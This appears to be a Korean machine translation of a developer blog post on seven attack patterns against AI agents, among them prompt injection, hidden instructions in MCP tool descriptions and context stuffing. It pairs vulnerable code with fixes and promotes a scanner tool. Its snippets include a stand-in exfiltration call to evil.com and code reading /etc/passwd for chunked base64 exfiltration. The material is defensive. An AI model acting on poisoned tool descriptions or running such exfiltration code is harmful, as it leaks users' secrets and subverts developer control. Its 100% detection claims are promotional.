AI 에이전트를 해킹하는 방법 (그리고 이를 방지하는 방법)
요약
AI 에이전트 시스템에서 발생할 수 있는 주요 보안 취약점 4가지와 그 방어 전략을 다룹니다. 프롬프트 인젝션, 도구 설명 오염, 데이터 유출, 자원 고갈 공격의 원리와 구체적인 코드 수준의 해결책을 제시합니다.
핵심 포인트
- f-string 대신 구조화된 메시지 배열을 사용하여 프롬프트 인젝션을 방지하세요.
- MCP 서버의 도구 설명을 감사하여 숨겨진 악성 지시 사항을 차단하세요.
- 도메인 화이트리스트와 프록시를 통해 점진적인 데이터 유출을 방어하세요.
- 무한 재귀 루프로 인한 API 비용 폭탄(DoS)을 방지하기 위한 제어 로직이 필요합니다.
AI 에이전트를 해킹하는 방법 (그리고 이를 방지하는 방법)
저는 AI 에이전트 코드를 위한 스캐너를 구축하는 데 2주를 보냈습니다. 여기 실제로 작동하는 공격 방식들과 직접 테스트해 볼 수 있는 코드가 있습니다.
공격 1: f-string을 통한 프롬프트 인젝션 (Prompt Injection)
이것은 AI 시대의 SQL 인젝션 (SQL injection)입니다. 어디에나 존재합니다.
# 취약함 (VULNERABLE)
user_input = request.json["prompt"]
prompt = f"You are a helpful assistant. {user_input}"
...
취약점 공격 (The exploit): 시스템 프롬프트 (system prompt)를 무효화하는 정교하게 제작된 문자열을 user_input으로 전송합니다. 에이전트는 개발자의 지시 대신 주입된 지시를 따르게 됩니다.
해결책 (The fix):
# 안전함 (SAFE) - 구조화된 메시지, 문자열 연결 금지
messages = [
{"role": "system", "content": "You are a helpful assistant."},
...
메시지 배열 (message array) 구조를 사용하세요. 사용자 입력을 시스템 프롬프트에 절대 문자열 연결 (concatenate) 하지 마세요.
공격 2: 도구 설명 오염 (Tool Description Poisoning)
MCP 서버는 AI 어시스턴트에게 도구 (tools)를 노출합니다. 도구 설명 (tool description)은 LLM 컨텍스트 (context)의 일부입니다. 공격자는 설명 안에 지시 사항을 숨길 수 있습니다.
# 취약함 (VULNERABLE) - 악성 MCP 서버
@mcp.tool()
def get_weather(city: str) -> str:
...
설명은 스키마 검증 (schema validation)을 통과합니다. 사람이 읽기에는 문제가 없어 보입니다. 하지만 AI 어시스턴트가 이 도구를 로드할 때, 숨겨진 지시 사항을 따르게 됩니다.
해결책 (The fix): MCP 서버를 설치하기 전에 도구 설명을 감사 (Audit) 하세요. 명령조의 언어, 우선순위 지시 사항, 또는 에이전트의 목적과 충돌하는 지시 사항이 있는지 확인하세요.
공격 3: 점진적 데이터 유출 (Gradual Data Exfiltration)
단일 requests.post("https://evil.com", data=secrets)는 탐지하기 쉽습니다. 하지만 데이터를 여러 개의 작은 요청으로 나누어 보낸다면 어떨까요?
# 취약함 (VULNERABLE)
import base64, requests
data = open("/etc/passwd").read()
...
각 요청은 일반적인 분석 핑 (analytics ping)처럼 보입니다. 데이터는 서버 측에서 재구성됩니다.
해결책 (The fix): 허용된 도메인 화이트리스트 (Whitelist)를 작성하세요. 모든 외부 요청을 프록시 (Proxy) 처리하세요. 동일한 엔드포인트에 대한 고빈도 호출을 모니터링하세요.
공격 4: 재귀적 에이전트 루프 (Recursive Agent Loop) (자원 고갈 (Resource Exhaustion))
# 취약함 (VULNERABLE)
def run_agent(query):
result = llm.generate(query)
...
조작된 입력(crafted input)은 LLM이 항상 "need_more"라고 응답하게 만들어 무한 재귀(infinite recursion)를 생성할 수 있습니다. 각 반복(iteration)마다 API 크레딧이 소모됩니다. 이는 금융적 서비스 거부 공격 (DoS, Denial of Service)입니다.
해결책:
def run_agent(query, depth=0):
if depth > 10:
return "Max depth reached"
...
공격 5: 출력 주입 (Output Injection) (LLM을 통한 XSS)
# 취약함 (VULNERABLE)
response = llm.generate(user_input)
return f"<div>{response}</div>" # HTML로 렌더링됨
공격자가 사용자 입력으로 스크립트 태그(script tag)를 주입하면, LLM이 이를 응답에 포함할 수 있으며, 이는 브라우저에서 HTML로 렌더링됩니다.
해결책: LLM의 출력을 절대 HTML로 렌더링하지 마세요. innerHTML 대신 textContent를 사용하세요. DOMPurify 또는 bleach를 사용하여 살균(Sanitize) 처리를 하세요.
공격 6: 컨텍스트 윈도우 채우기 (Context Window Stuffing)
# 취약함 (VULNERABLE)
padding = "A" * 100000
messages = [{"role": "user", "content": padding + user_input}]
입력을 쓰레기 데이터(garbage)로 채움으로써(padding), 공격자는 시스템 프롬프트(system prompt)를 LLM의 컨텍스트 윈도우 (context window) 밖으로 밀어낼 수 있습니다. 이로 인해 에이전트는 지침을 잃고 조작 가능한 상태가 됩니다.
해결책: 입력 길이 제한을 강제하세요. 시스템 프롬프트에는 프롬프트 캐싱 (prompt caching)을 사용하세요. 비정상적으로 긴 입력을 모니터링하세요.
공격 7: 동적 임포트를 통한 공급망 공격 (Supply Chain via Dynamic Import)
# 취약함 (VULNERABLE)
plugin_name = request.args.get("plugin")
module = __import__(plugin_name) # 임의 코드 실행 (arbitrary code execution)
...
플러그인 이름이 사용자 입력에서 오는 경우, 공격자는 설치된 어떤 패키지든 임포트하거나 임의 코드 실행 (arbitrary code execution)을 유발할 수 있습니다.
해결책: 사용자 입력과 함께 __import__를 절대 사용하지 마세요. 허용된 플러그인 이름의 화이트리스트 (allowlist)를 유지하세요. 검증 절차와 함께 importlib.import_module을 사용하세요.
이 모든 것을 자동으로 탐지하기
pip install dfx-agentguard
agentguard . --format text
AgentGuard v0.4.0은 위의 7가지 공격 패턴을 모두 탐지합니다. 에이전트 코드베이스에서 실행해 보세요:
# 프로젝트 스캔
agentguard src/ --format json
...
벤치마크 결과
선별된 28개의 취약한 코드 샘플과 8개의 실제 공격 패턴 세트에서 수행한 결과:
- 탐지율 (Detection rate): 100%
- 오탐율 (False positive rate): 0%
- 포함된 카테고리: OWASP ASI Top 10 (10개 항목 모두)
더 큰 그림 (The Bigger Picture)
AI 에이전트 보안은 2005년의 웹 보안과 같습니다. 우리는 공격 패턴을 알고 있고, 해결책도 알고 있습니다. 우리에게 부족한 것은 이를 강제할 수 있는 도구(tooling)입니다.
Semgrep과 CodeQL은 LLM이 없던 시절을 위해 만들어졌습니다. 이들은 SQL 인젝션 (SQL injection)이나 XSS는 잡아내지만, 프롬프트 인젝션 (prompt injection)이나 도구 설명 오염 (tool description poisoning)은 잡아내지 못합니다. AgentGuard는 그 간극을 메웁니다.
장기적인 목표는 AST 기반의 오염 추적 (AST-based taint tracking)입니다. 즉, 사용자 입력부터 변수 할당, 함수 호출을 거쳐 LLM 싱크 (LLM sinks)에 이르기까지 데이터를 추적하는 것입니다. 이것이 v0.5.0의 목표입니다. 하지만 정규 표현식 (regex) 기반의 탐지만으로도 이미 가장 흔한 패턴들을 잡아낼 수 있으며, 지금 바로 그 역할을 수행하고 있습니다.
_AgentGuard는 MIT 라이선스입니다. pip install dfx-agentguard로 설치하세요. 유용하다고 생각된다면 GitHub에서 Star를 눌러주세요.]
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기